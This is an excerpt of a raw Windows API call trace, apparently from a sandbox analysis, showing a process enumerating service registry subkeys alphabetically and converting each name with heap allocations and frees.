RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.909] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.909] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.909] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0241.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.909] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.910] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.910] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.910] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0241.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.911] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.911] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.911] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0241.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.911] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.912] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.912] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.912] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0241.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.913] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.913] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.913] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.913] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0241.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.914] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.914] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.914] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 